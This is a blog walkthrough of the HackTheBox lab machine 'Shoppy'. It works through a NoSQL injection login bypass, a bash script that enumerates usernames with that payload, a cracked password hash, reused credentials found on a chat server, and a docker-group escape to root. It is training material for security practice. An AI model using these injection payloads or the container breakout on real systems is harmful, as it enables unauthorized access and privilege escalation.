HackTheBox: Shoppy

01/13/2024

This is the first 4.1-difficulty box Ill be attempting. Since Im doing the retired boxes in order of ascending difficulty, from here on pretty much every retired box I do will be the new record as far as difficulty goes.

Enumeration

Three ports open: SSH on 22, HTTP on 80 (with redirect to "shoppy.htb"), and HTTP on 9093.

The site on port 80 is just a countdown with not much else of interest. Nikto identifies a login page at /login, which brings you to a "Shoppy Admin" login form, which I will send to SQLmap.

The site on 9093 is more interesting. It appears to be some kind of logging system for a Go application, and has information about the heap and memory usage.

I believe I've identified this logging code as "promscale", found here: (https://github.com/timescale/promscale/blob/master/docs/metrics.md)

SQL injection on login page

THe login is definitely vulnerable to SQLi. Single quotes cause the login to hang. Let me try SQLmap again; I think I had done that before without success, but Ill give it another shot.

OH... just realized. SQLmap is timing out because SQL characters cause the page to hang. That's why it "isnt working".

I cheated and used guided mode. Apparently its using NoSQL, which has its own syntax. I successfully used the following to log in:


admin' || '1'=='1

This brought me to the admin page. Here there is a text box to search for users. I'm betting that I can inject this as well to extract information.

Again, Im leaning pretty heavily on guided mode. Guided mode asked what other users were in the system. Because I couldnt get nosqlmap running (a tool like sqlmap but for nosql), I wrote my own script to brute force usernames based on the injection exploit found earlier. Basically it just tries to bypass the login page without passwords but using each username from a wordlist. It then greps the response for "WrongCredentials". If it doesnt see that string, it logs the successful username (ie, valid usernames.). The code is here:

bash
#!/bin/bash

while IFS= read -r line;
do
    echo $line;
    if curl http://shoppy.htb/login --header "Cookie: rl_user_id=RudderEncrypt%3AU2FsdGVkX18vXGbSS6A2loBhpVrd59fOfnbWQKgVGTru6Foq78Wi6e7kR8VA6hz7; rl_anonymous_id=RudderEncrypt%3AU2FsdGVkX19k2j%2BQTFRpW5wERXg%2BgvuNo13tuauJbGtsUVCkkhLjpKJ8FjaAdrajXZJTRNDf%2BGYF39xK7%2FpSKQ%3D%3D; rl_group_id=RudderEncrypt%3AU2FsdGVkX19MXFuhtIbqv3tbyGJHVnHKGA9LSfTa%2FMw%3D; rl_trait=RudderEncrypt%3AU2FsdGVkX1%2FDHSJlPxf9PlYBHOtDA9MawvSjRhB5dkI%3D; rl_group_trait=RudderEncrypt%3AU2FsdGVkX19YRwK9VAayqlV%2FRlixB%2FDrN32zbcA3NF4%3D; connect.sid=s%3AMJpfH4Vvg18KIbZjTRCFXo9QyPuoOPij.tL56jnRl7XfKVjqkXLiDKBrPDj2IHQfUHuS9m0PTU1E" --data "username=$line' || '1'=='1&password=whocares" | grep -v "=Wrong"; then echo "$line: $RESPONSE" >> username_enum.txt; fi; 
done < /usr/share/SecLists/Usernames/Names/names.txt 

This worked, and after a bit it turned up the username "josh." Using the username search feature I was able to obtain josh's password hash: 6ebcea65320589ca4f2f1ce039975995. Running john on this hash with the rockyou.txt wordlist reveals that this is an MD5 hash for the string remembermethisway.

Awesome! Maybe we have SSH creds now. And even if not, we can use those creds in the subdomain I write about next...

Hidden subdomain

I would have missed this if not for Guided Mode, but there's a subdomain named "mattermost.shoppy.htb".

Using the creds found earlier, we can login as josh. In the "Deploy Machine" discussion, we have instructions left by a user named "Jaeger" on the creds to deploy a bot. They are: jaeger:Sh0ppyBest@pp!

On a hunch I tried SSH'ing into the machine with these creds, and they worked. I now have a shell as jaeger.

Priv esc: running sudo as "deploy" user

deploy user is part of the docker group, and we can run one command as him via sudo. That being a binary called "password-manager" that the mattermost forum mentions. In the forum, josh mentions that he wrote the script. Maybe a prototype is available somewhere, but the source code in /home/deploy is not readable to us.

Reversing the binary with Ghidra


jaeger@shoppy:~$ sudo --user=deploy /home/deploy/password-manager
Welcome to Josh password manager!
Please enter your master password: Sample
Access granted! Here is creds !
Deploy Creds :
username: deploy
password: Deploying@pp!
jaeger@shoppy:~$ 


jaeger@shoppy:~$ su deploy
Password: (Deploying@pp!)
$ bash
deploy@shoppy:/home/jaeger$ 

Priv esc: Docker breakout


deploy@shoppy:~$ id
uid=1001(deploy) gid=1001(deploy) groups=1001(deploy),998(docker)


deploy@shoppy:~$ find / -name docker.sock 2>/dev/null
/run/docker.sock

deploy is part of the docker group, and the docker socket is INSIDE the current container. THis means we should be able to break out.

Got priv esc this way:


deploy@shoppy:~$ docker images
REPOSITORY   TAG       IMAGE ID       CREATED         SIZE
alpine       latest    d7d3d98c851f   14 months ago   5.53MB

deploy@shoppy:~$ docker run -it -v /:/host/ alpine chroot /host/ bash
root@3f1b8cabd05e:/# whoami
root